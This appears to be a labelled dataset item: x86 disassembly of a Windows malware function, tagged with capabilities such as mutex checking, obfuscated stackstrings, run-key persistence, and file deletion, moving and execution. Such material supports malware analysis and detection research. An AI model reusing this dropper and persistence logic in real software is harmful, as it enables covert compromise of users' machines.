Function at 0x402440
Capabilities:
Check mutex on windows
Contain obfuscated stackstrings
Create process on windows
Create thread
Delete file
Delete registry value
Get common file path
Move file
Persist via run registry key

Disassembly:
sub esp, 0x544
push ebx
call dword [sym.imp.USER32.dll_GetInputState]
xor ebx, ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
push ebx
push ebx
lea eax, [esp + 0x20]
push ebx
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
push ebx
call dword [sym.imp.USER32.dll_ShowCursor]
push 0x4018d0
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
test eax, eax
je 0x40249f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40249f
xor eax, eax
pop ebx
add esp, 0x544
ret 0x10
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x145]
mov byte [esp + 0x144], bl
mov byte [esp + 0x34c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x34d]
mov byte [esp + 0x450], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x451]
push 0x4018cc
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x40189c
push 0x80000002
stosb byte es:[edi], al
call dword [sym.imp.SHLWAPI.dll_SHDeleteValueA]
lea ecx, [esp + 0x34c]
push 0x104
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x40188c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x34c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x454]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [esp + 0x34c]
lea edx, [esp + 0x450]
push ecx
push edx
call sub.MSVCRT.dll__strcmpi
mov ebp, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
add esp, 8
test eax, eax
jne 0x4025d9
lea eax, [esp + 0x144]
push 0x104
push eax
call ebp
mov edi, 0x40187c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x144]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x148]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x249]
mov byte [esp + 0x248], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x248]
push 0x104
push ecx
stosb byte es:[edi], al
call ebp
mov edi, 0x401870
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x40], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
mov byte [esp + 0x10], 0x5c
and ecx, 3
mov byte [esp + 0x11], 0x31
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x41]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov al, 0x36
mov byte [esp + 0x13], 0x35
mov byte [esp + 0x12], al
mov byte [esp + 0x18], al
mov byte [esp + 0x19], al
lea eax, [esp + 0x40]
push eax
push 0x104
mov byte [esp + 0x1c], 0x43
mov byte [esp + 0x1d], 0x2d
mov byte [esp + 0x1e], 0x42
mov byte [esp + 0x1f], 0x45
mov byte [esp + 0x22], 0x2e
mov byte [esp + 0x23], 0x70
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x25], 0x67
mov byte [esp + 0x26], bl
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x40]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x40]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x40]
lea edx, [esp + 0x248]
push ecx
push edx
call sub.MSVCRT.dll_rename
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0x20]
push eax
push ebx
push ebx
push 0x402370
push ebx
push ebx
call esi
mov ebp, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, eax
push 0xffffffffffffffff
push edi
call ebp
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
lea ecx, [esp + 0x20]
push ecx
push ebx
push ebx
push 0x401bb0
push ebx
push ebx
call esi
push eax
call edi
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x20]
push edx
push ebx
push ebx
push 0x401db0
push ebx
push ebx
call esi
mov esi, eax
push 0xffffffffffffffff
push esi
call ebp
push esi
call edi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x544
ret 0x10